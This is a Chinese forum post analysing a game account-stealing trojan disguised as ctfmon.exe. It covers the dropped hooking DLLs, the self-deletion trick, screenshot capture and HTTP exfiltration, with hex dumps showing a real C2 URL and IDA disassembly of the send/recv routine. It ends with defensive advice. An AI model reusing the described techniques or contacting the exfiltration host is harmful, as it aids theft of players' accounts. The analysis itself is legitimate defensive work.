- 听众
- 收听
- 积分
- 3894
- 主题
- 回帖
- 0
- 精华
注册时间2008-4-22
最后登录1970-1-1
该用户从未签到
|
一、主程序流程分析:
主程序名:ctfmon.exe(仿冒微软输入法配置程序)
壳 :无壳
编写语言:汇编(估计)
1. 用GetLogicalDriveStringsA API获得所有系统盘符存放到一个字符串;
2. 读取自身文件尾部的0x1C4字节数据,并根据最后4字节的DWORD值,调用NEW函
数申请内存(为0x2A00大小);
3. 从自身文件距离尾部(0x1C4+0x2A00)字节处,读取0x2A00字节数据,存储到
上面NEW出来的内存中;
4. 关闭游戏主程序******nest.exe;
5. 根据注册表项:SOFTWARE\\snda\\dn和
Software\Microsoft\Windows\ShellNoRoam\MUICache
找到游戏所在目录生成gamewidget.dll和midimap.dll,dll,内容为第3步中的数据写
2001次,再加上文件尾部的0x1C4字节数据,共20.5 MB (21,515,204 字节)(太大
了-.-)。(因为我没有安装这个游戏,所以也没有这些注册表项目,实际当中我自己
建了一个SOFTWARE\\snda\\dn注册表项,随便给了一个路径)
6. 根据第1点里面得到的所有系统盘符字符串,用SearchTreeForFile API(盘符多,
硬盘大的时候好慢啊),查找Dnlauncher.exe程序,找到了之后在该目录下创建
gamewidget.dll和midimap.dll,因为没装游戏,我又伪造了一个Dnlauncher.exe
(-.-)
7. 本程序实现的自删除,会因机器是否安装有瑞星而有所不同。机器没有安装瑞星时
是把自己移动到程序所在盘符的RECYCLER文件夹中,并重命名成一个GetTickCount
得到的数字+.tmp后缀名的文件。在XP系统上这个文件比桌面上的回收站目录高一级,
所以点击桌面的回收站,里面会看不到这个文件。机器安装了瑞星则不做上述处理。最
后会将此文件设为下次重启电脑时删除。
二、生成的DLL模块流程分析:
1. 上面所说的gamewidget.dll和midimap.dll,dll内容都是一样,虽然文件很大(重
复写了太多次的结果),但内容还是用了UPX加壳了(UPX 0.80 - 1.24 DLL)。ESP
定律简单脱壳,PEID再查一下为Microsoft Visual C++ 6.0 DLL。
2. 该dll首先将系统目录(XP系统为\WINDOWS\system32\)下的midimap.dll文件
复制一份为lqmidimap.dll放到同一目录下,然后创建一个线程,接下来的工作都在此线
程中完成。
3. 进入线程后首先会创建一个互斥体对象防止线程多次运行,接下来比较主模块的模
块名是否是“******Nest.exe”。如果不是则退出,如果是继续以下步骤。
4. 读取自身文件最后0x1C4字节(这里就要注意脱壳后的文件最后的字节和脱壳前已
经不一样了,为了调试方便可以把脱壳前文件的尾部数据添加到脱壳后dll中),进行几
步相套的算法变换,将最后的0x1C4字节解密出来,解密出来的数据如下:
- 10004C48 68 74 74 70 3A 2F 2F 68 61 68 61 35 2E 68 61 6F [url]http://haha5.hao[/url]
- 10004C58 72 65 6E 36 37 38 2E 63 6F 6D 3A 38 30 31 31 2F ren***.com:8011/
- 10004C68 66 65 6E 2F 71 6C 6E 62 32 30 2F 61 73 64 66 61 fen/qlnb20/asdfa
- 10004C78 67 61 73 61 73 64 66 67 7A 78 63 76 2E 61 73 70 gasasdfgz***.asp
- 10004C88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
- 10004C98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
- 10004CA8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
- 10004CB8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
- 10004CC8 68 74 74 70 3A 2F 2F 68 61 68 61 35 2E 68 61 6F [url]http://haha5.hao[/url]
- 10004CD8 72 65 6E 36 37 38 2E 63 6F 6D 3A 38 30 31 31 2F ren***.com:8011/
- 10004CE8 66 65 6E 2F 71 6C 6E 62 32 30 2F 61 73 64 66 61 fen/qlnb20/asdfa
- 10004CF8 67 61 73 61 73 64 66 67 7A 78 63 76 2E 61 73 70 gasasdfgz***.asp
- 10004D08 68 74 74 70 3A 2F 2F 68 61 68 61 35 2E 68 61 6F ttp://haha5.hao
- 10004D18 72 65 6E 36 37 38 2E 63 6F 6D 3A 38 30 31 31 2F ren***.com:8011/
- 10004D28 66 65 6E 2F 71 6C 6E 62 32 30 2F 61 73 64 66 61 fen/qlnb20/asdfa
- 10004D38 67 61 73 61 73 64 66 67 7A 78 63 76 2E 61 00 00 gasasdfgzxcv.a..
- 10004D48 68 74 74 70 3A 2F 2F 68 61 68 61 35 2E 68 61 6F [url]http://haha5.hao[/url]
- 10004D58 72 65 6E 36 37 38 2E 63 6F 6D 3A 38 30 31 31 2F ren***.com:8011/
- 10004D68 66 65 6E 2F 71 6C 6E 62 32 30 2F 61 73 64 66 61 fen/qlnb20/asdfa
- 10004D78 67 61 73 61 73 64 66 67 7A 78 63 76 2E 61 73 70 gasasdfgz***.asp
- 10004D88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
- 10004D98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
- 10004DA8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
- 10004DB8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
- 10004DC8 78 78 73 73 00 00 00 00 00 00 00 00 00 00 00 00 xxss............
- 10004DD8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
- 10004DE8 61 62 63 64 00 00 00 00 00 00 00 00 00 00 00 00 abcd............
- 10004DF8 31 37 34 30 39 34 38 38 00 00 00 00 00 00 00 00 17409488........
- 10004E08 00 2A 00 00 .*..
复制代码
然后将http://haha5.haoren***.com:8011/fen/qlnb20/asdfagasasdfgzx**.asp
最后的asdfagasasdfgzxcv.asp替换为MIBAO.asp
即为:http://haha5.haoren***.com:8011/fen/qlnb20/MIB**.ASP
(难道是伪造密保页面吗?-.-)
5. 接下来HOOK了"user32.dll"中的MessageBoxTimeoutW"函数,至于HOOK的目 的,干了哪些事就不知道了。
6. 接下来,查找模块gwCore.dll,HOOK了该dll中一系列位置,IDA中看这一段看的云
里雾里。查找SDOA4ClientCom.dll模块,进行一系列HOOK。
7. 从LZGSERVER.ini文件中拿到SERVER项内容,使用URLDownloadToFileA函数下
载网页http://patch.dn.***.com/sndalist/sndalist_n**.xml
保存到本机TEMP目录下,文件名为SerList.xml,进行一番查找比较。之后线程结束。
三、后续分析:
分析到这里貌似也没什么再好分析的了,可能大家没看到木马作恶的过程有点失
望,是的,我也没看到,因为他的关键功能都是在HOOK之后所跳转到的代码里面完成
的,我大部分都是在IDA里面静态分析的,顺着流程走下来就是这样一个过程。
为了不让大家太失望,也为了让自己不至于觉得太没成就感,我又回头看了一下逆
向分析的过程,结合导入表中的函数来看了下,该木马至少有屏幕截取和网络发送数据
的嫌疑。那么就再稍微跟踪一下这两个方面吧。
1. 网络发包分析:
还记得我们在dll分析的第4步中,得到的那个网址吧
http://haha5.haoren678.com:8011/fen/qlnb20/MI***.ASP
用IDA看一下,什么地方还引用了这个字符串,还真的有所收获:
1.JPG下载此附件需要消耗2Kx,下载中会自动扣除。
把sub_10002B9E这个CALL跟进去,会发现里面有HTTP协议的数据发送和接收操
作。
- UPX0:10002DB7 push eax
- UPX0:10002DB8 push offset aPostSHttp1_1Ac ; "POST %s HTTP/1.1 Accept: text/plain, *"...
- UPX0:10002DBD push ebx ; Dest
- UPX0:10002DBE call sprintf
- UPX0:10002DC4 add esp, 54h
- UPX0:10002DC7 lea eax, [ebp+Dest]
- ……………………………………中间多余代码已删减………………………………………………
- UPX0:10002E2C push offset aQlmmsg ; "qlmmsg"
- UPX0:10002E31 push eax
- UPX0:10002E32 push offset aGetSHt ; "GET %s HT"
- UPX0:10002E37 push ebx ; Dest
- UPX0:10002E38 call sprintf
- UPX0:10002E3E push ebx ; Str
- UPX0:10002E3F call strlen
- UPX0:10002E44 add esp, 18h
- UPX0:10002E47 mov esi, eax
- UPX0:10002E49
- UPX0:10002E49 loc_10002E49: ; CODE XREF: sub_10002B9E+278j
- UPX0:10002E49 xor edi, edi
- UPX0:10002E4B push edi ; flags
- UPX0:10002E4C push esi ; len
- UPX0:10002E4D push ebx ; buf
- UPX0:10002E4E push [ebp+s] ; s
- UPX0:10002E51 call send ; 发送数据
- ……………………………………中间多余代码已删减………………………………………………
- UPX0:10002E86 push edi ; flags
- UPX0:10002E87 push esi ; len
- UPX0:10002E88 push eax ; buf
- UPX0:10002E89 push [ebp+s] ; s
- UPX0:10002E8C call recv ; 接收数据
- UPX0:10002E92 cmp eax, 0FFFFFFFFh
- UPX0:10002E95 jz short loc_10002EDB
- UPX0:10002E97 mov esi, offset aHttp1_1400 ; "HTTP/1.1 400"
复制代码
2. 截图过程分析:
在我们第二阶段分析dll的时候其中第6步提到了该dll HOOK了gwCore.dll。使
gwCore.dll中的流程转到了自己的dll中来了,其中最后的一个HOOK(在IDB文件里面
我命名为hook_9)里面又对另外一个dll:SDOA4ClientCom.dll进行了HOOK(命名
为hook_8),在hook_8的代码里面有如下一些行为:
2.1 首先创建一个线程,该线程的作用是枚举屏幕窗口。
2.JPG下载此附件需要消耗2Kx,下载中会自动扣除。
2.2 对每个枚举到的屏幕窗口用GetClassName API获得其类名,比较是否匹
配"IEFrame"、"ShImgVw:CPreviewWnd"、"Afx:400000:8"这三种,如果均不匹配
则不做任何处理。
2.3 如果匹配以上三种类名之一,则进行截屏并利用GDI+方法保存为BMP,JPG图形。
2.4 如果有截屏,则会将截屏图形通过上面的网络发包方式发送出去。
四、关于如何防范这类盗号木马或类似外挂的思考
该盗号木马在功能实现上大量使用HOOK技术,防范这种攻击,作为游戏开发方应
该加强保护,例如对主程序和dll模块的保护,在一些关键位置进行必要的代码校验,如
关键代码md5验证,dll的CRC验证,dll的签名认证等。作为游戏玩家为了防止盗号类木
马入侵本机,造成盗号,应该注意少上来源不明的网站,不下载不可信的程序,及时给
系统或常用软件打补丁,避免恶意程序利用漏洞传播进入个人电脑。当然,攻与防的较
量是无止境的,“道高一尺,魔高一丈”,没有无坚不摧的防御,安全之路,任重而道
远。
五、IDA分析附件
1.ctfmon.exe:19.9 KB (20,420 字节)——主程序
2.1.dll:42.5 KB (43,520 字节)——生成的dll经过脱壳后的版本
3.复件 1.dll:53.4 KB (54,724 字节)——生成的dll经过脱壳后,并在尾部附加需要
解密的网址数据
|
|